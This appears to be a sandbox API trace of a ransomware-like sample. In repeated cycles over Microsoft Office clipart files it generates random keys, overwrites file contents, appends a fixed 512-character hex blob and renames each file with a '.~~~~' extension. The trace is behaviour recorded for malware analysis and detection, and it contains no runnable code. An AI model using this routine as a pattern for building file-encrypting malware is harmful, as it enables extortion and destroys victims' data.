	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b410
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b410 | out: hHeap=0x300000) returned 1
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b69a8
	[0120.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.809] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.810] GetLastError () returned 0x0
	[0120.810] GetLastError () returned 0x0
	[0120.810] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.810] GetLastError () returned 0x0
	[0120.810] GetLastError () returned 0x0
	[0120.853] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff68a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.853] WriteFile (in: hFile=0x148, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x976, lpOverlapped=0x0) returned 1
	[0120.855] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0120.855] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.855] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.855] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.855] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.855] CloseHandle (hObject=0x148) returned 1
	[0120.855] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2837130
	[0120.855] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.~~~~")) returned 1
	[0120.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2837130 | out: hHeap=0x300000) returned 1
	[0120.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.857] GetLastError () returned 0x0
	[0120.862] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.863] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.864] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24085374020) returned 1
	[0120.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb183a210, dwHighDateTime=0x1d60e1e)) 
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b1a8
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b1a8 | out: hHeap=0x300000) returned 1
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0120.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.865] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.865] GetLastError () returned 0x0
	[0120.865] GetLastError () returned 0x0
	[0120.865] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.865] GetLastError () returned 0x0
	[0120.865] GetLastError () returned 0x0
	[0120.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffa6b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.868] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x595, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x595, lpOverlapped=0x0) returned 1
	[0120.870] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.870] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.870] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.870] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.870] CloseHandle (hObject=0x130) returned 1
	[0120.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x2a1daa0
	[0120.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.~~~~")) returned 1
	[0120.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1daa0 | out: hHeap=0x300000) returned 1
	[0120.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.873] GetLastError () returned 0x0
	[0120.874] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.875] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0120.875] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0120.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.875] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24086539101) returned 1
	[0120.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb183a210, dwHighDateTime=0x1d60e1e)) 
	[0120.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b448
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0120.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0120.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.876] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.876] GetLastError () returned 0x0
	[0120.876] GetLastError () returned 0x0
	[0120.877] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.877] GetLastError () returned 0x0
	[0120.877] GetLastError () returned 0x0
	[0120.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffecdd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.879] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1323, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x1323, lpOverlapped=0x0) returned 1
	[0120.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.881] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.881] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.881] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.881] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.881] CloseHandle (hObject=0x130) returned 1
	[0120.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0120.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.~~~~")) returned 1
	[0120.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f56c8 | out: hHeap=0x300000) returned 1
	[0120.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.883] GetLastError () returned 0x0
	[0120.884] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0120.885] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0120.885] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0120.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.886] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24087575785) returned 1
	[0120.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1860370, dwHighDateTime=0x1d60e1e)) 
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b480
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b480 | out: hHeap=0x300000) returned 1
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.887] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0120.887] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.887] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.887] GetLastError () returned 0x0
	[0120.887] GetLastError () returned 0x0
	[0120.887] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.887] GetLastError () returned 0x0
	[0120.887] GetLastError () returned 0x0
	[0121.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffbc2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.046] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x43e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x43e, lpOverlapped=0x0) returned 1
	[0121.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.048] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.048] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.048] CloseHandle (hObject=0x130) returned 1
	[0121.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5610
	[0121.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.~~~~")) returned 1
	[0121.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5610 | out: hHeap=0x300000) returned 1
	[0121.050] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.050] GetLastError () returned 0x0
	[0121.051] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.052] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.052] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0121.052] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24104198769) returned 1
	[0121.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1a03290, dwHighDateTime=0x1d60e1e)) 
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9ad0
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ad0 | out: hHeap=0x300000) returned 1
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.053] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0121.053] GetLastError () returned 0x0
	[0121.053] GetLastError () returned 0x0
	[0121.053] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0121.053] GetLastError () returned 0x0
	[0121.053] GetLastError () returned 0x0
	[0121.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffedb6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.165] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x124a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x124a, lpOverlapped=0x0) returned 1
	[0121.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.167] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.167] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.167] CloseHandle (hObject=0x130) returned 1
	[0121.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7388
	[0121.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.~~~~")) returned 1
	[0121.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7388 | out: hHeap=0x300000) returned 1
	[0121.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.168] GetLastError () returned 0x0
	[0121.169] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0121.170] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.170] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
